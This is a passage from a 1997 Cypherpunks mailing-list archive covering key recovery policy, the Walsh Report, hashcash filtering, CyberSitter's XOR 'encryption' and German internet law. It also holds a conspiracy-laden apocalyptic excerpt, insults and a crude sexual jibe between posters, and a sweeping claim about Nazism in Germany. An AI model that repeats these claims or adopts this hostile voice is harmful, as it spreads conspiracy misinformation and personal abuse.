> on proposals for Key Recovery policy in Japan. The only documents that
> are currently being reviewed are rather official OECD type documents
> from the US and I am trying to find other opinions (technical, legal,
> political) which I can add to the reports/documents being reviewed by
> the panel.

{Excerpt from "The Xenix Chainsaw Massacre" (c) 1989, Pearl Publishing}
http://bureau42.base.org/public/xenix

We now live in an age where, in between the slumber of the soap operas
and the bewitchment of 'prime time,' we are fed our opinions and our
world-views in catch-phrases and ten second sound-bytes. 

At the same time, Gomez sees to it that there is enough trouble and
turmoil in the world that the World Leaders, even in democracies, can
chip away at human and individual rights under the guise of dealing 
with various 'threats' that they, themselves, have concocted as a 
means of retaining power over the masses. 

Even as the governments of the world strive to bring everyone and 
everything, however minute, under tight control and regulation, Gomez 
and the Dark Allies are behind the scenes, helping to guide the 
development of a technology that will, along with television, be the
ultimate weapon in their struggle for the domination of all mankind--the
Computer.

The rich and powerful have managed to lull us to sleep with the 
hypnotizing power of television---stealing our thoughts and our 
reasoning processes in our slumber, feeding us our reality via the 
airwaves...according to the 'official' party line. 

The government and the media have placed us on neat little shelves 
where we are numbered and labeled according to their own wants and 
needs. We are allowed the illusion of freedom of thought, and individual
choice, as long as we have our 'Freedom of Thought Permit 1136.51.709'
and don't stray too far from the permitted paths. 

In the great battles of the past the Dark Forces have always been 
beaten by the individuals scattered in the secret places, living 
unnoticed in obscurity. Living quietly and unobtrusively, forgotten 
about in the madness storming the land, they have kept alive the spark
of Thought and Reason. They were able to go quietly about their work, 
making contact with the individuals who were ready to escape the madness
and work towards restoring Sanity in the land.

This time there will be no escape. Every man, woman and child on the 
face of the earth will have a dossier documenting their life from the 
time of their arrival on the face of the planet.
Information gleaned from the Department of Motor Vehicles, their Social
Security Number, banks, credit cards, magazine subscriptions, charitable
and political contributions. 

When Gomez removes the masks of his human allies, revealing them as 
dark agents who have been rewarded with wealth and power for doing the 
bidding of the Evil One, the names of the misfits and wrong-thinkers 
will be spit out of the computers at the speed of light---to be rounded
up and disposed of in the opening salvo of the new Holocaust. 

Only then will the final Battle of Armageddon begin, ravaging the face
of the earth and devouring humanity; bringing total control of humankind
under the Dominion of the Evil One, with nobody but the Waking Dead left
to carry on the human race. 

          ***     ***    ***

{Excerpt from "Webworld" (c) 1997, Pearl Publishing}
http://bureau42.base.org/public/webworld

        Prologue to 'WebWorld & The Mythical Circle of Eunuchs'


The great tragedy of it, is that it didn't have to happen. Not at 
all...we were warned.
And yet, still, it has come to this. 

I don't know why I feel this overwhelming compulsion to go on and on 
about it. I could have done something.
We all could have done something.

Perhaps the final epitaph on the gravestone of Freedom will be, 
"Why didn't somebody _do_ something?" 

That seems to be the common battle-cry of the legions of humanity that 
have been sucked into the vortex of the New World Order.
None of the imprisoned seem to know that the very phrase itself is 
reflective of the source of their imprisonment...that this desperate 
cry of anguish is in no way an antidote for the terrible disease that
has afflicted 'Liberty and Justice', and that it is, rather, merely the
final symptom of the cursed blight itself. 

I can hear the rumbling of the trucks as they come up the street, and 
soon I will be hearing the thumping of the jackboots storming up the
staircase, as I have heard them so many times before. But I suspect 
that this time, the sound will be different, that it will have an 
ethereal quality about it, one which conveys greater personal meaning
than it did when I heard it on previous occasions.
This time, they are coming for me. 

My only hope, is that I can find the strength of character somewhere 
inside myself to ask the question which lies at the heart of why there
is a 'they' to come for me at all...why, in the end, it has finally 
come to this for me, as for countless others. 

The question is, in retrospect, as simple and basic as it is essential
for any who still espouse the concepts of freedom and liberty to ask 
themselves upon finding themselves marveling at the outrageousness 
being perpetrated upon their neighbors by 'them'...by 'others'...by 
'Friends of the Destroyer.' 

                                 The question is:
                            "Why didn't _I_ do something?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 5 Jul 1997 12:42:05 +0800
To: cypherpunks@toad.com
Subject: Re: Welcome to Cypherpunks! / Re: hi
In-Reply-To: <199707041205.OAA16771@tic.silab.dsi.unimi.it>
Message-ID: <199707050423.GAA04323@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Jul 04, 1997 at 04:02:30PM -0400, Robert Hettinga wrote:
> At 2:19 pm -0400 on 7/4/97, Cypherpunks wrote:
> 
> 
> > ----------------------------------------------------------------------
> > Personal Note to Level 2 Entrants from Robert Hettinga, e$Czar:
> >   "Don't bother giving me credit for my quotes. Nobody else does, and
> > I'm used to blowing my own horn, anyway."
> > ----------------------------------------------------------------------
> 
> Say 'amen', somebody.
> 
> Oh. I just did, didn't I?
> 
> Never mind...
> 
> Ironically,
> Bob Hettinga

Robert Pettinga is also well known for the odd, brick-like shape of
his head, and his penchant for shoving it into dark places.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 5 Jul 1997 20:57:59 +0800
To: cypherpunks@toad.com
Subject: Re: Welcome to Cypherpunks! / Re: hi
In-Reply-To: <199707041205.OAA16771@tic.silab.dsi.unimi.it>
Message-ID: <v03020909afe3ee7b067e@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:23 am -0400 on 7/5/97, TruthMonger wrote:


> Robert Pettinga is also well known for the odd, brick-like shape of
> his head, and his penchant for shoving it into dark places.

Lementing another missed felching opportunity, Mister Monger?

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 5 Jul 1997 21:30:47 +0800
To: cypherpunks@toad.com
Subject: Walsh Report Update
Message-ID: <1.5.4.32.19970705130917.006a7104@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Forward:

Date: Sat, 05 Jul 1997 14:19:59 +1000
To: jya@pipeline.com
From: gtaylor@gil.com.au (Greg Taylor )
Subject: Walsh Report mirror

John,

Electronic Frontiers Australia has now been able to "officially" release the
Walsh Report, after negotiating copyright permissions.

It is now available at:

    http://www.efa.org.au/Issues/Crypto/Walsh/

There are two versions provided:

  1.  A multiple file version suited to reading online.
  2.  A complete version (267K HTML) suitable for downloading.

These versions have some updates from the original so I suggest you replace
your mirror version with the amended versions we have now released.  The
main changes are:

  1.  The Terms and Abbreviations section has now been marked up.
  2.  Paragraphs deleted from the copy liberated under FOI are now annotated
        with references to the relevant sections of the FOIA.
  3.  Minor typos corrected.


Regards,

Greg Taylor
Chair
EFA Crypto Committee

----------
  
The July 1 version of the Walsh Report at jya.com has been replaced 
with the EFA version:

   http://jya.com/walsh-all.htm (270K)

Or a Zip-compressed file:

     http://jya.com/walsh-all.zip (88K)

See related news article: 

    http://jya.com/walsh.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 5 Jul 1997 21:55:48 +0800
To: cypherpunks@toad.com
Subject: InfoWorld discovers reputation capital
Message-ID: <v03020916afe3fee7e21a@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Sat, 05 Jul 1997 09:00:32 -0400
From: Robert Hettinga <rah@shipwright.com>
Reply-To: rah@shipwright.com
Organization: The Shipwright Development Corporation
MIME-Version: 1.0
To: rah@shipwright.com
Subject: InfoWorld discovers reputation capital

http://www.infoworld.com/cgi-bin/displayStory.pl?97073.eabi.htm

Content-Type: text/plain; charset=us-ascii; name="displayStory.pl"
Content-Disposition: inline; filename="displayStory.pl"
X-MIME-Autoconverted: from 8bit to quoted-printable by lbo.leftbank.com id
IAA11662

[Image] [Click here to download free Microsoft Visual FoxPro tools!]

[| Navigational map -- for text only please go to the bottom of the page |]
[|Top News Stories|]

  ABI offers instant company background check on the Web

  By Lisa Moskowitz
  PC World Online

  Posted at 9:03 AM PT, Jul 3, 1997
  If you run a company, large or small, it's good practice to know
  exactly who you're doing business with before you sign any contracts.
  Now you can get the lowdown on potential partners online at a low
  price.

  American Business Credit, a division of American Business Information
  (ABI), sells reports on the credit of the more than 10 million
  businesses in the United States for $3 a pop. Reports include company
  name, address, phone number, fax number, number of employees, type of
  business, Standard Industrial Classification codes, estimated sales
  volume, names of competitors, branch and headquarter locations,
  Internet address, and credit rating. The rating is based on in-house
  research of public information conducted by ABI.

  "A lot of small businesses looking for initial credit screening up
  front come to our Web site," said Rich Chrostek, ABI general manager.
  "The Web service is good for small orders, between 20 and 50 a year,
  and there's no long-term contract involved."

  Customers can order one of ABI's Business Profiles by typing in the
  name of the business they wish to check on, registering as a user, and
  entering a credit card number. Within minutes they can view the
  profile online, then download and print it. The same information at
  the same price can be ordered by calling (888) 274-5325.

  Dun & Bradstreet, ABI's chief competitor, also offers credit reports
  via the Web, but only contract subscribers have access to the most
  comprehensive of its documents, Business Information Reports.
  Subscription fees vary according to customer needs.

  Dun & Bradstreet offers two types of credit profile on the Internet:
  the Business Background report for $20, and the Supplier Evaluation
  for $85. Although these reports are more expensive than ABI's Business
  Profiles, they contain different -- and sometimes more extensive --
  information.

  According to ABI's Chrostek, the company's Business Profile is the
  cheapest business credit report available on the Web.

  "We're giving a cost-effective snapshot of a business," he said.
  "We're a tool, not an end-all solution."

  ABI also sells a CD-ROM of Business Profiles, which is recommended for
  customers who need several hundred credit reports. The CD-ROM is
  updated quarterly and costs $595 for an annual license and 1,000
  profiles.

  American Business Information Inc. can be reached at
  http://www.lookupusa.com//.

  PC World Online, an InfoWorld Electric sister publication, can be
  reached at http://www.pcworld.com/.

                     Go to the Week's Top News Stories

 Please direct your comments to InfoWorld Electric News Editor Dana Gardner.

               Copyright (c) 1997 InfoWorld Publishing Company

     | SiteMap | Search | PageOne | Conferences | Reader/Ad Services |
         | Enterprise Careers | Opinions | Test Center | Features |
           | Forums | Interviews | InfoWorld Print | InfoQuote |

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Sat, 5 Jul 1997 09:21:02 +0800
To: cypherpunks@cyberpass.net
Subject: Key Recovery Policy in Japan
Message-ID: <199707050110.KAA14212@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi folks. I'm on a Japanese National Police Agency study group board working
on proposals for Key Recovery policy in Japan. The only documents that
are currently being reviewed are rather official OECD type documents
from the US and I am trying to find other opinions (technical, legal,
political) which I can add to the reports/documents being reviewed by
the panel.

Any pointers or opinions would be greatly appreciated. My deadline for
submitting materials is 7/11 and I will be giving my verbal opinions
on 7/28.

Thanks in advance.

 - Joi

P.S. I am also working with politicians, the Ministry of Posts and Telecom,
The Ministry of International Trade and Industry, and several other
ministries as well in similar policy areas. So even after 7/11, please
point me at anything (or point anything at me) that you would like the
Japanese policy makers to consider. Lots of stuff is currently being
reviewed in Japan in this area in the wake of the stuff going on the
US.

--
home page: http://domino.garage.co.jp/jito/joihome.nsf
bithaus: http://www.bithaus.co.jp/



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 5 Jul 1997 17:09:48 +0800
To: cypherpunks@cyberpass.net
Subject: NoneRe: Liberating the Bits
In-Reply-To: <199707012155.XAA06734@basement.replay.com>
Message-ID: <199707050902.LAA02031@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> wrote:

> I have copied to DAT (Digital Audio Tape) several hundred CDs. And a friend
> of mine has really gone overboard, copying more than 4000 CDs (rock, blues,
> jazz, country, you name it) onto more than 1000 DATs.
> 
> Given that a new CD typically costs about $16 US, and a blank DAT tape
> costs about $4 for a 3-hour tape, the savings are spectacular. (My friend
> uses a lot of the 4-hour DATs, but I don't trust them. They jam in some
> machines.)

You mean you don't just get the mp3 files off the internet like everyone
else?  :)

Why would anyone want to use DAT, when you can just stick the CD in your
computer and copy it.  Hard disks are so much faster than tapes, and when
you consider data compression, don't cost much more.

I have hundreds of songs on my computer and I can start playing any one of
them in about 2 seconds.  Plus I can search by title, etc...  Tapes are a
pain in the ass and I just use them for backups.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 5 Jul 1997 20:11:30 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: e$: $MTP? (fwd)
In-Reply-To: <Pine.GSO.3.95.970704154536.1436B-100000@ece>
Message-ID: <Pine.LNX.3.91.970705114146.2618B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > Frankly, I see no other solution to this problem in the long run except for
> > postage, which means it's probably time to start figuring out, in earnest,
> > how to make it all work. Whoever becomes the lowest cost producer of this
> > kind of software stands to make a whole *bunch* of money.
> 
> We still need to work out how to fit mailing lists fit into this without
> eliminating them entirely. Chargebacks to the subscribers?  If this list
> will work in a proposed plan, I think all the others probably would as
> well.. :-)

I personally see hashcash as the ideal way to solve this problem, and in 
Adam Back`s analysis of the hashcash solution he mentions mailing lists 
and suggest that filtering software have an explicit "filter in" command, 
so you could eliminate any mail coming from the list from needing to have 
cash attached. Of course the spammers could then just spam mailing lists, 
but that it a much smaller problem than the current random UCE problem.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 6 Jul 1997 03:01:49 +0800
To: cypherpunks@toad.com
Subject: Re: Fuck the Fourth (and the First, Second....)
In-Reply-To: <199707050032.CAA08156@basement.replay.com>
Message-ID: <3.0.2.32.19970705114841.0075d240@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:32 AM 7/5/97 +0200, Anonymous wrote:
>  Adolph Hitler obviously understood what Noah Webster was writing
>about.
>If we could get the writings made into a TV movie (or a cartoon), there
>might be a minute chance to get the American public to understand, as
>well. 

A a good comic book primer might be "Grandpa Jack says: Gun Control Kills
Kids."

In the comic book, Grandpa Jack, while cleaning his AR-15, explains to his
grandchildren the origin of the tattoo on his arm and why the best and only
means of preventing tyranny is a "military style rifle" in every home.

I am taking 1,000 copies to HIP'97 :-) If you aren't going, get your copy
from Jews for the Preservation of Firearms Ownership.
Voice: (414) 769-0760
Fax  : (414) 483-8435


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 6 Jul 1997 03:18:48 +0800
To: cypherpunks@Algebra.COM
Subject: PGP 5.0 source soon to be available for d/l
Message-ID: <3.0.2.32.19970705121145.006ff184@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



According to the International PGP Homepage, the scanning effort is making
good progress. 100% of the platform independent core (the part most of us
are interested in :) is scanned. 48% of said source is error corrected, up
from 18% a few days ago.

http://www.ifi.uio.no/pgp/


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 6 Jul 1997 04:18:55 +0800
To: cypherpunks@Algebra.COM
Subject: CyberSitter "Encryption"
Message-ID: <3.0.2.32.19970705130949.03d16390@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



In reading one of the lawyer letters going back and forth between Peacefire
and SolidOak, one of them
<http://peacefire.org/archives/SOS.letters/james.tyre.2.bm.txt> describes
the "encryption" used by the filter file in CyberSitter.

You are going to get a big chuckle out of this one...

The "encryption" is XORing each byte with 0x94!

Just when I thought my contempt for Millburn could not get any worse...

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 6 Jul 1997 08:44:27 +0800
To: Paul Bradley <blancw@cnw.com>
Subject: Citizen's Line Item Veto (was Re: Just Say "No" to Congress)
In-Reply-To: <3.0.32.19970519010058.00685bdc@cnw.com>
Message-ID: <v03102808afe499364268@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:13 PM +0000 5/19/97, Paul Bradley wrote:
>> On the other hand, he obviously believes in the authority of the US
>> government, as he has always supported it in arguments on the list,
>> especially in counter arguments against TCM.
>>
>> So, it appears that VZN is not *ready* to hold the government accountable,
>> preferring not to protest when his own money is withheld for him, but
>> hypocritically wondering when everyone will make this will happen.
>
>I made a point a while ago on this list, which I felt strongly was
>correct at the time and I still feel as strongly now but this argument
>draws parallels which made me think again:
>
>I stated that anyone who, in a situation of military conscription, fought
>for a country or a cause they did not believe in, simply to avoid
>punishment for refusal to fight, was a coward.
>
>I still believe this, but really taxation is simply paying the government
>to be your hitman for you, your tax money pays the governments barbaric
>killing and warmongering, you cannot wash your hands of this simply by
>arguing that you did not choose for the money to pay for a war, you have
>to draw the conclusion that by funding the government and the state you
>fund killing and violence elsewhere in the world.
>>
>It is a similar case with taxation, until enough people stop whinging and
>actually do something the state will tax as it sees fit, I`m not going to
>be the first to refuse payment on ethical grounds in peacetime, maybe I`m
>lacking in moral fibre, maybe I`m just a realist and think I can do more
>for the case of freedom outside of a 6'x9' cell.
>
>I wish all luck to those who do refuse to pay tax on moral and ethical
>grounds, they certainly have my admiration and I grant that they are
>probably of stronger stuff than I.
>

Since Congress passed a Presidential Line Item Veto, perhaps its time
citizens ask for the same priviledge and for the same reasons.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 6 Jul 1997 13:21:51 +0800
To: cypherpunks@Algebra.COM
Subject: Hack the Mars rover
Message-ID: <3.0.2.32.19970705221647.0072d660@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10 PM sharp, my local cable switched, as per city requirements, from the
imminent deployment of the Mars rover to a city video BBS informing the
viewer about recent changes to local dog tag regulations.

Putting thoughts of Jim Bell aside, this gives me time to ask a question
that has been on my mind since yesterday.

With the solar system's hottest RC vehicle on Mars, how hard would it for a
hacker to take control of the rover? Is NASA using any
encryption/authentication of the commands issued to the rover?

Thanks,

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Sun, 6 Jul 1997 06:52:10 +0800
To: cypherpunks@Algebra.COM
Subject: procmail and hashcash
Message-ID: <19970705222102.8853.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



PATH=/bin:/usr/bin:/usr/local/bin:$HOME/bin
MAILDIR=$HOME/Mail
LOGFILE=$HOME/.procmaillog
LOCKEXT=.lock
SHELL=/bin/sh

:0
* ^X-Hashcash-Coin:.*
{
	:0:
	* ? hashcash-email.pl
	mbox
}

:0:
* 1^1 ^From:.*president@whitehouse.gov
mbox

:0:
junk

-----------------------------------------------------

#!/usr/local/bin/perl
$status = 0;
$use_db = 1;
$validity = 28;
$num_bits = 19;
$hashcash_coin = "";
$hashcash_db = "$ENV{'HOME'}/.email_hashcash.db";
$hashcash_exec = "$ENV{'HOME'}/bin/hashcash";
$resource_name = "nobody\@foo.bar.com";

while(<>) {
	/X-Hashcash-Coin:.*\s(.+)/ && do {
		$hashcash_coin = $1;
		last;
	};
}
exit 1 if(!$hashcash_coin);
if($use_db) {
	$status = system $hashcash_exec,"-d","-f$hashcash_db","-$num_bits",$resource_name,$hashcash_coin,$validity;
} else {
	$status = system $hashcash_exec,"-$num_bits",$resource_name,$hashcash_coin,$validity;
}
$status = $status / 256;
exit $status;





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Sun, 6 Jul 1997 11:17:47 +0800
To: cypherpunks@toad.com
Subject: Re: index.html
In-Reply-To: <199707060255.EAA08349@basement.replay.com>
Message-ID: <33BF197E.C585D30F@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:

> On Fri, 4 Jul 1997, Jim Choate wrote:
> >                   GERMANY PASSES WORLD'S FIRST CYBERSPACE LAW
> >
> >       graphic July 4, 1997
> >      Web posted at: 4:10 p.m. EDT (2010 GMT)
> >
> >      BONN, Germany (AP) -- Germany on Friday became the first
> country to
> >      pass a law regulating the free-wheeling global electronic space
> of
> >      the Internet.
>
> So does that mean Germany is regulating all of the Internet? Or just
> networked computers and operators inside Germany?

   Which cypherpunk said that he wouldn't go to a conference to get
arrested for making a funny comment about a resurgence of fascism in
Germany?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 6 Jul 1997 12:28:37 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199707060405.XAA17674@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo 
   US navbar 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Main banner If it's in your head, Okidata puts it on paper. 
   
     rule
     
            GOP: FEDERAL GOVERNMENT WOULD 'SHOCK' FOUNDING FATHERS
                                       
     July 5, 1997
     Web posted at: 3:46 p.m. EDT (1946 GMT) Solomon graphic
     
     WASHINGTON (CNN) -- The federal government is just too big, taking
     on things "that would have shocked" the nation's founding fathers,
     New York Congressman Gerald Solomon said Saturday in the Republican
     weekly radio address.
     
     "The Founding Fathers designed a government with limited and defined
     powers," Solomon said. "But that idea has been turned on its head."
     
     Chief among the government offenses, the congressman said, is an
     exorbitant tax bill.
     
     "What the founding fathers could not even comprehend is the idea of
     Americans paying more in takes than they do for food and shelter,"
     Solomon said.
     
     "Our Republican philosophy is different," he said. "We'd rather
     shrink the welfare class and put the American dream of financial
     security and independence within the reach of as many middle class
     people as possible."
     
     The recently passed budget, Solomon said, will accomplish that by
     offering tax relief to families with children, and those with
     "oppressive capital gains taxes."
     
     "We're not talking millionaires here," he said. "We're talking about
     people like grandparents who owned a house for years, reared their
     children in that house and then decades later they want to sell it
     when it becomes too much of burden."
     
     The GOP Tax Relief Act, Solomon said, "will help 2 million older
     Americans."
     
     Other aspects of the tax relief plan will help small business owners
     -- who may want to pass on the family business to sons and daughters
     -- by increasing an exemption on estate taxes.
     
     Solomon compared the current Republican tax cut to the birth of the
     United States 221 years ago.
     
     "Yes, on July 4, 1776, we won the battle of independence from
     oppressive taxation and today ... the Republican Congress has just
     won another battle to restore a larger chunk of that freedom from
     taxation to you," he said.  rule
     
  Transcript:
  
     * Transcript of Republican weekly radio address - July 5, 1997
       
  Related site:
  
     Note: Page will open in a new browser window
     * House RepublicanLeadership
       
     
     
     External sites are not endorsed by CNN Interactive.  Search for
     related CNN stories:
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     Infoseek grfk
     
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      rule Message Boards 
     
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     paper. rule
     
   
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   All Rights Reserved.
   
        Terms under which this service is provided to you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 6 Jul 1997 14:17:03 +0800
To: cypherpunks@Algebra.COM
Subject: Direct satellite systems?
Message-ID: <3.0.2.32.19970705230758.0072d7e8@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



My local cable killing Mars rover deployment in favor of local dog tag
ordinances (as required by the city), made me realize it that getting my
own dish is way overdue.

I would appreciate reports on any first hand experiences subscribers to
this list have with satellite services. Yes, NASA TV and the SF channel is
a must. :-)

Thanks,


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 6 Jul 1997 13:29:50 +0800
To: cypherpunks@toad.com
Subject: Re: index.html
In-Reply-To: <33BF197E.C585D30F@popmail.firn.edu>
Message-ID: <oDLe0D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



bennett_t1@popmail.firn.edu writes:

> Anonymous wrote:
>
> > On Fri, 4 Jul 1997, Jim Choate wrote:
> > >                   GERMANY PASSES WORLD'S FIRST CYBERSPACE LAW
> > >
> > >       graphic July 4, 1997
> > >      Web posted at: 4:10 p.m. EDT (2010 GMT)
> > >
> > >      BONN, Germany (AP) -- Germany on Friday became the first
> > country to
> > >      pass a law regulating the free-wheeling global electronic space
> > of
> > >      the Internet.
> >
> > So does that mean Germany is regulating all of the Internet? Or just
> > networked computers and operators inside Germany?
>
>    Which cypherpunk said that he wouldn't go to a conference to get
> arrested for making a funny comment about a resurgence of fascism in
> Germany?

"Resurgence"?

Nazim never went away and needs to resurgence in Germany.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 6 Jul 1997 07:43:53 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Liberating the Bits
In-Reply-To: <199707012155.XAA06734@basement.replay.com>
Message-ID: <199707052337.BAA11779@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> wrote:

> I have copied to DAT (Digital Audio Tape) several hundred CDs. And a friend
> of mine has really gone overboard, copying more than 4000 CDs (rock, blues,
> jazz, country, you name it) onto more than 1000 DATs.
> 
> Given that a new CD typically costs about $16 US, and a blank DAT tape
> costs about $4 for a 3-hour tape, the savings are spectacular. (My friend
> uses a lot of the 4-hour DATs, but I don't trust them. They jam in some
> machines.)

You mean you don't just get the mp3 files off the internet like everyone
else?  :)

Why would anyone want to use DAT, when you can just stick the CD in your
computer and copy it.  Hard disks are so much faster than tapes, and when
you consider data compression, don't cost much more.

I have hundreds of songs on my computer and I can start playing any one of
them in about 2 seconds.  Plus I can search by title, etc...  Tapes are a
pain in the ass and I just use them for backups.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sun, 6 Jul 1997 13:45:38 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: index.html
In-Reply-To: <199707042234.RAA16340@einstein.ssz.com>
Message-ID: <Pine.GSO.3.95.970706013741.3034C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



>      
>      BONN, Germany (AP) -- Germany on Friday became the first country to
>      pass a law regulating the free-wheeling global electronic space of
>      the Internet.
>      
>      Chancellor Helmut Kohl's government says the so-called multimedia
>      law creates legal clarity that will help boost commercialization of
>      cyberspace and combats illegal uses of the Internet such as for
>      pornography.
>      

Guess Mr. Kohl never heard of the CDA, or Malaysia's "multimedia laws." Or
any of dozens of attempts to muzzle the Net, documented two years ago in a
Humran Rights Watch report. Sigh.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 6 Jul 1997 11:07:45 +0800
To: cypherpunks@toad.com
Subject: Re: index.html
Message-ID: <199707060255.EAA08349@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 4 Jul 1997, Jim Choate wrote:
>                   GERMANY PASSES WORLD'S FIRST CYBERSPACE LAW
>
>       graphic July 4, 1997
>      Web posted at: 4:10 p.m. EDT (2010 GMT)
>
>      BONN, Germany (AP) -- Germany on Friday became the first country to
>      pass a law regulating the free-wheeling global electronic space of
>      the Internet.

So does that mean Germany is regulating all of the Internet? Or just
networked computers and operators inside Germany?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sun, 6 Jul 1997 18:49:30 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Hack the Mars rover
In-Reply-To: <3.0.2.32.19970705221647.0072d660@netcom10.netcom.com>
Message-ID: <Pine.GSO.3.95.970706063925.4547A-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 5 Jul 1997, Lucky Green wrote:

> With the solar system's hottest RC vehicle on Mars, how hard would it for a
